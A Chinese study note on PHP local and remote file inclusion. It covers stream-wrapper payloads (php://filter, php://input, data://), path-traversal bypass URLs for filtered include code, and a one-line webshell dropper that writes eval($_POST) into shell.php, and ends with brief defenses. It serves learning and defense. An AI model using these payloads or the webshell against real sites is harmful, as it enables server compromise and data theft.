文件包含漏洞学习笔记

什么是文件包含漏洞

  1. 什么是文件包含?
    为了更好地使用代码的 重用性 ,引入了文件包含函数,可以通过文件包含函数将文件包含进来,直接使用包含文件的代码。
  2. 文件包含分为本地文件包含和远程文件包含。
  3. 文件包含漏洞的成因是什么?
    在包含文件时,为了灵活包含文件,将被包含文件设置为变量,通过动态变量来引入需要包含的文件时,用户可以对变量的值进行改变,而服务器端未对变量的值进行合理性校验或者检验被绕过,这样就导致了文件包含漏洞。通常文件包含漏洞出现在PHP语言中。
1
2
3
4
<?php
$file = $_GET['file'];
include($file);
?>

文件包含函数

1
2
3
4
5
6
7
文件包含:
include;
include_once;
require;
require_once;
文件读取:
highlight_file,show_source,readfile,file_get_contents,fopen,file

include ,有返回值,如果改函数包含的文件路径有误,不影响下面代码的执行
require,无返回值, 如果改函数包含的文件路径有误,会中断下面代码的执行

文件包含漏洞的利用方式—伪协议

协议 用法
file:// ?file=file://D:soft/phpStudy/www/phpcode.txt
php://filter ?file=php://filter/read=convert.base64-encode/resource=./index.php
php://input ?file=php://input [POST DATA] <?php phpinfo();?>
zip:// ?file=zip:///D:soft/phpStudy/www/file.zip%23phpcode.txt
compress.bzip2:// ?file=compress.bzip2:///D:soft/phpStudy/www/file.bz2 [or] ?file=compress.bzip2://./file.bz2
compress.zlib:// ?file=compress.zlib://D:soft/phpStudy/www/file.gz [or] ?file=compress.zlib://./file.gz
data:// ?file=data://text/plain,<?php phpinfo();?> [or] ?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= [or] file=data:text/plain,<?php phpinfo();?> [or] ?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

说明:

  • php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤。
  • php://input 可以访问请求的原始数据的只读流,将post请求的数据当做php代码执行。
  • data:// 同样类似php://input ,可以让用户来控制输入流。

文件包含漏洞的利用方式—其他

  1. %00截断绕过
    示例:后台php代码
1
include("includes/".$_GET['page'].".php");

可以构造url

1
http://192.168.0.5/?page=../flag.php%00
  1. 点加斜杠绕过
    示例:后台php代码
1
2
3
4
if(substr($_GET['page'],-4,4) != '.php')   //取后缀名
echo file_get_contents($_GET['page']);
else
echo 'You are not allow to see source files!';

可以构造url

1
2
3
http://192.168.0.5/?page=../flag.php.

http://192.168.0.5/?page=../flag.php./
  1. 去掉后缀名绕过
    示例:后台php代码
1
2
$path = 'includes/class_'.addslashes($_GET['class']).'.php';
echo file_get_contents($path);

可以构造url

1
http://192.168.0.5/?class=../flag
  1. 双写绕过
    示例:后台php代码
1
2
3
4
5
$file = str_replace('../','',$_GET['file']);
if(isset($file))
include("pages/$file");
else
include("index.php");

可以构造url

1
http://192.168.0.5/?file=..././flag.php
  1. 文件包含写shell
    示例:后台php代码
1
include($_POST["page"]);

可以利用hackbar添加POST参数

1
2
3
4
page=../image.jpg

在image.jpg中写入
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST['a'])?>');?>
  1. 长度截断(Windows:256, Linux:4096)
  2. 包含日志文件
  3. 包含session

文件包含漏洞的防御

  • PHP中使用open_basedir 配置限制访问在指定的区域
  • 过滤 . / \
  • 禁止服务器远程文件包含
  • 尽量不要使用动态文件包含,可在需要包含的页面固定写好
坚持原创技术分享,您的支持将鼓励我继续创作!